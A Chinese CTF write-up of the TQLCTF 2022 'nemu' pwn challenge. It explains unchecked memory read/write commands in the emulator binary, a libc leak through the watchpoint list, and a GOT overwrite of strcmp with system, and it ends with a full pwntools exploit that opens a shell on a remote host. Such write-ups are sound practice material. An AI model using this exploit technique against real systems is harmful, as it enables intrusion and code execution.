Nemu-Wp

[TQLCTF] 2022 Nemu-Wp

题目附件我已上传到我的Github,有需要的可以自行下载,复现该题目时,远程环境我使用的是NSSCTF的环境。

下载附件后,发现有四个文件,一个源码(nemu_source_code),一个elf文件(nemu),一个libc文件(libc-2.23.so),还有一个查了以后才知道是Apple Desktop Service Store(.DS_Store),做题过程中发现没啥用好像。

老流程,将nemu放入IDA进行反汇编,反汇编出来有一大堆东西,可以在侧边看见有各种形如:cmd_的函数名,可以执行各种指令,初步猜测是在模拟一个bash之类的东西,随后,我去网上搜了一下Nemu,发现这是南京大学的一个开源的调试器项目:Nemu,有兴趣的可以去看看,下面对各个函数逐步分析。

先把程序放入虚拟机运行,发现运行不了,报出如图的错误:
error

这是由于libreadline.so.6已经过时了,用libreadline.so.8就行了,使用如下命令,来创建软链接:

cd /lib/x86_64-linux-gnu/
sudo ln -s libreadline.so.8   libreadline.so.6

这时就发现已经可以运行了,运行起来之后输入help,查看有哪些指令可以用,发现一共有10条指令可以用:

  • help:查看所有指令,以及其作用
  • c:继续执行程序(有点像gdb中的c命令)
  • q:退出程序
  • si:单步执行程序
  • info:显示所有的断点信息(后面可以用来泄露libc)
  • x:读取内存的内容
  • p:显示变量与数值
  • w:建立断点
  • d:删除断点
  • set:写入内存

进入ida分析以后发现,x指令与set指令在对内存进行读写时,未进行验证,也就是说可以任意地址读写。

分析一下读写的函数vaddr_writevaddr_read,可以发现读写都是通过对pmem的偏移来实现的,而pmem位于0x06A3B80的位置,所以我们只能读写这个地址以上的地址。

而通过对scan watchpoint这个函数的分析可以看出,断点保存在一个链表里,head的next位即是下一个断点,而head是一个结构体,存在old_value,new_value等属性。

那么利用思想就是先设置一个断点,让head不为NULL,然后利用任意地址写的功能,向head中写入got表中的地址,然后利用info函数打印断点信息,来泄露libc中的地址,从而计算出libc的基址,由于got表可写,所以利用set任意地址写入,向head写入strcmp的got表的地址,并设置断点,使其值为计算出的system的函数的地址,然后输入/bin/sh\x00即可getshell。

由于old_value位只有四个字节,所以泄漏的时候低位和高位是分开的,其余的位数存在于new_value中,所以需要分两次接受数据。

然后又由于写入与读取都是通过结构体的偏移来实现的,可以在ida中查看到,old_value的位置位于head偏移0x30的位置,所以读写的时候需要减去0x30。

这里要感谢Ayaka师傅的指点,我写的时候想了很久为什么需要减去0x30,没有想起来结构体的偏移这回事。

完整exp如下:

from pwn import *
from sgtpyutils.logger import logger

io=remote('1.14.71.254',28964)
#io=process('./nemu')
elf=ELF('./nemu')
libc=ELF('./libc-2.23.so')
context.arch='amd64'
context.log_level='debug'


pmem_addr=0x6A3B80
head_addr=0x86A3FC8

def do_cmd(_cmd):
    io.recvuntil("(nemu) ")
    io.sendline(str(_cmd))

def mem_set(addr,data):
    io.recvuntil("(nemu) ")
    io.sendline('set {addr} {data}'.format(addr=hex(addr-pmem_addr),data=hex(data)))

do_cmd('w $rax')

free_got=elf.got['free']

mem_set(head_addr,0x60eff0)

do_cmd('info w')

#gdb.attach(io)
#pause()

io.recvuntil('0x')

low_addr = int(io.recv(8),16)
io.recvuntil('0x')

high_addr = int(io.recv(4),16)

free_addr=low_addr+(high_addr*0x100000000)

libc_base=free_addr-libc.symbols['free']


logger.info("free_got: " + hex(free_got))

logger.info('libc_base:' + hex(libc_base))

sys_addr = libc_base+libc.symbols['system']



mem_set(head_addr,0)
strcmp_got=elf.got['strcmp']

mem_set(head_addr-0x8,strcmp_got-0x30)

do_cmd('w ' + hex(sys_addr))

io.recvuntil("(nemu) ")

io.sendline(b'/bin/sh\x00')

#gdb.attach(io)
#pause()

io.interactive()
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值